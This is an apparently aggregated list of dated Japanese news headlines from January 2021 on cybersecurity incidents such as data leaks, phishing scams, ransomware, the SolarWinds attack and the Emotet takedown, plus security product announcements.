2021/01/15 2020年は2515万人分の個人情報が流出 原因の多くは「ウイルス感染・不正アクセス」
2021/01/15 NZ中銀「重大な情報流出」 不正アクセスで
2021/01/15 緊急事態巡る消防メール、送信1時間半遅れ アカウントが不正アクセス被害
2021/01/18 多要素認証を回避する攻撃を確認、CISAが報告
2021/01/18 KnowBe4、SAYA Universityと協業して、日本語トレーニング コンテンツを増強
2021/01/18 Ledger、2万件超の漏洩後も続く脅迫メールの脅威を報告
2021/01/18 ウェブサイトに不正アクセス、スパム踏み台に - 大田花き
2021/01/18 不正アクセスによる情報流出の可能性に関するお詫びとお知らせ【丸紅パワー&インフラ ...
2021/01/18 北海道銀行を装うフィッシング - 他攻撃の文面を使い回しか
2021/01/19 【注意喚起】Googleサーチ結果に表示される偽広告経由のネット詐欺に注意
2021/01/18 2020年個人情報漏洩・紛失件数、第1位はPayPayの2007万件
2021/01/19 ハンモック、VPNの不正接続を制御する多要素認証サービス「AssetView VPNセキュア」のリリースを発表
2021/01/20 テレワーク対応!建設業向け『情報セキュリティハンドブック』の無料配布を開始
2021/01/20 「Emotet」相談、引き続き高い水準 - 偽脅迫メールは増加
2021/01/21 ラック、企業のテレワークセキュリティ状況を自己診断できる無料Webサービス「テレワーク環境 ...
2021/01/20 Malwarebytes、SolarWindsを攻撃したハッカーらによる攻撃を確認
2021/01/20 FireEye、SolarWindsインシデントの詳細を公開--対策ツールも提供
2021/01/20 不正アクセスでペイメントアプリ改ざん 「柿安オンラインショップ」カード情報集出、不正利用も
2021/01/20 ATM7カ所で取引内容を記録したメディアが所在不明 - 島根銀
2021/01/21 暗号資産がらみの犯罪は減少傾向、ランサムウェア攻撃は急増:報告書
2021/01/21 ルータなどで広く利用されるDNSに脆弱性「DNSpooq」が判明
2021/01/21 【注意喚起】「プライム会費のお支払い方法に問題があります」Amazonからの通知を装う偽のSMSに注意
2021/01/22 ウェブ会議中の無意識なカラダの動きで「パスワードがバレる」危険
2021/01/22 政府配布の家庭学習用パソコンからマルウェア ロシアに接続か
2021/01/22 FBI、企業を狙う音声通話フィッシング攻撃を警告--コロナ禍でセキュリティが後手に
2021/01/22 仮想通貨取引所Liquid(リキッド)、不正アクセスの最終報告
2021/01/22 従業員が顧客情報を悪用、カードローンに申込 - DeNA
2021/01/22 キャンペーン登録者の個人情報が閲覧できる状態に - カゴメ
2021/01/19 京大、全職員と学生の個人情報を誤って閲覧可能に システム改修時のミスに半年間気付かず
2021/01/22 メール添付ファイルによる脅威を多数確認(2020年12月マルウェアレポート)
2021/01/22 フィッシングサイト関連の報告は5015件、特別定額給付金の給付を騙るフィッシングサイトなどが ...
2021/01/22 さくらインターネットかたる詐欺メールに注意 個人情報の窃取やサーバ不正利用の恐れ
2021/01/22 流出の仮想通貨NEM、不正交換疑い31人摘発 188億円分
2021/01/24 Microsoft Edgeに漏洩したパスワード通知する新機能「Password Monitor」
2021/01/25 エポスカード」の利用者狙うフィッシング攻撃に注意を
2021/01/25 ランサムウェア被害のスコットランド環境保護庁、身代金支払い拒否でファイル暴露される
2021/01/26 埼玉県、新型コロナ感染者191名の氏名が公表されるトラブル 担当者の回答は…
2021/01/26 セキュリティ研究者狙い撃ちの攻撃キャンペーンをGoogleが警告 背後に北朝鮮か
2021/01/26 弊社が運営する「システムファイブ オンラインショップ」への不正アクセスによる クレジット ...
2021/01/26 ウイルスバスター」のメインテナンス通知を装う偽メールに注意
2021/01/27 バックアップデータに外部アクセス、設定ミスで - 三井住友建設
2021/01/27 Webサイトへの攻撃をまとめた2021年サイバーセキュリティレポートを発表
2021/01/27 最新フィッシングメール動向: テレワーク関連のフィッシングメールが顕著に増加
2021/01/27 Webサイトへの攻撃をまとめた2021年サイバーセキュリティレポートを発表
2021/01/27 IPA、情報セキュリティ10大脅威 2021」公開 - テレワークの脅威初登場
2021/01/27 印・仮想通貨取引所Buyucoin、ハッキングで機密データ漏洩
2021/01/27 マカフィーが2021年の脅威を予測、モバイル決済やSNSの悪用も
2021/01/28 イオンでも不正アクセス、セールスフォース製品で
2021/01/28 米国司法省、NetWalkerランサムウェアオペレーターに被害金請求
2021/01/27 「地下銀行」容疑、中国人逮捕 約6億円不正送金か―愛知県警
2021/01/28 米司法省、医療機関を狙うランサムウェアを摘発 | 仮想通貨で約50万ドルを押収
2021/01/29 企業のネットワーク狙うランサムDDoS攻撃が大幅に増加--Neustar調査
2021/01/29 三井住友銀、システムのコードが流出 顧客情報漏洩なし
2021/01/29 API 乱用の脅威が拡大、企業を狙うボットトラフィックへの警告」 RADWARE RESEARCH 調査 ...
2021/01/29 BlackBerry、テレワーク時の社員に向けリスク軽減「セキュリティガイドブック」公開
2021/01/29 12月は偽ECサイトなどによる「フィッシング詐欺サイト」が5.5倍に急増
2021/01/29 世界で最も危険なマルウェア「Emotet」のネットワークを抹消すると警察組織が発表
2021/01/30 注目の音声SNS「Clubhouse」の問題・課題を考える
2021/01/30 東京ガス1万件のメアド流出 恋愛ゲーム不正アクセス
2021/01/30 2020年仮想通貨盗難の半分以上はDeFiで発生=CipherTraceレポート